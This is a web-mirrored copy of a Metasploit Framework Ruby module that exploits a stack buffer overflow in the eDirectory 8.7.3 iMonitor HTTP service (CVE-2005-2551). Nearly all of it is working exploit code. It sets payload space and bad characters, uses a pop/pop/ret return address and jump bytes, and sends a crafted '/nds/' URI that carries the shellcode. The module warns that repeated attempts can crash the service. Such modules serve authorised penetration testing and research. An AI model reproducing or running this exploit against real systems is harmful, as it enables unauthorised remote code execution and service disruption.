CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/edirectory_imonitor.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
10
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in eDirectory 8.7.3
18
iMonitor service. This vulnerability was discovered by Peter
19
Winter-Smith of NGSSoftware.
20
21
NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
22
not restart automatically in a default installation.
23
},
24
'Author' => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],
25
'License' => BSD_LICENSE,
26
'References' =>
27
[
28
[ 'CVE', '2005-2551'],
29
[ 'OSVDB', '18703'],
30
[ 'BID', '14548'],
31
],
32
'Privileged' => true,
33
'DefaultOptions' =>
34
{
35
'EXITFUNC' => 'thread',
36
},
37
'Payload' =>
38
{
39
'Space' => 4150,
40
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
41
'StackAdjustment' => -3500,
42
},
43
'Platform' => 'win',
44
'Targets' =>
45
[
46
[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
47
],
48
'DisclosureDate' => '2005-08-11',
49
'DefaultTarget' => 0))
50
51
register_options(
52
[
53
Opt::RPORT(8008)
54
])
55
end
56
57
def exploit
58
c = connect
59
60
# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
61
uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
62
uri << "\xe9\xbd\xef\xff\xff"
63
uri << "B" * 0xD0
64
65
res = c.send_request(c.request_raw({ 'uri' => uri }))
66
select(nil,nil,nil,4)
67
68
handler
69
disconnect
70
end
71
end
72
73